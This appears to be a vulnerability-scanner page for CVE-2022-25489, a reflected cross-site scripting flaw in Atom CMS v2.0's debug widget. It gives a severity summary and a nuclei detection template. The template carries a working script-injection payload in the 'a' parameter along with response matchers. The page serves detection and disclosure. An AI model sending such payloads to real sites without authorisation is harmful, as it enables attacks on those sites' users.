Atom CMS v2.0 - Cross-Site Scripting

mediumseverity

5.4CVSS score

1.5%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

Atom CMS v2.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the "A" parameter in /widgets/debug.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Fixed in version Atom CMS v2.1

How to confirm it

Send: GET {{BaseURL}}/widgets/debug.php?a=<script>alert(document.domain)</script>
Positive when: contains "<script>alert(document.domain)</script>" and "Path Array" and "console-debug" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-25489 -u <target>

The full check

id: CVE-2022-25489

info:
  name: Atom CMS v2.0 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Atom CMS v2.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the "A" parameter in /widgets/debug.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version Atom CMS v2.1
  reference:
    - https://github.com/thedigicraft/Atom.CMS/issues/258
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25489
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-25489
    cwe-id: CWE-79
    epss-score: 0.01459
    epss-percentile: 0.7376
    cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thedigitalcraft
    product: atomcms
  tags: cve,cve2022,xss,atom,cms,thedigitalcraft,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/widgets/debug.php?a=<script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Path Array"
          - "console-debug"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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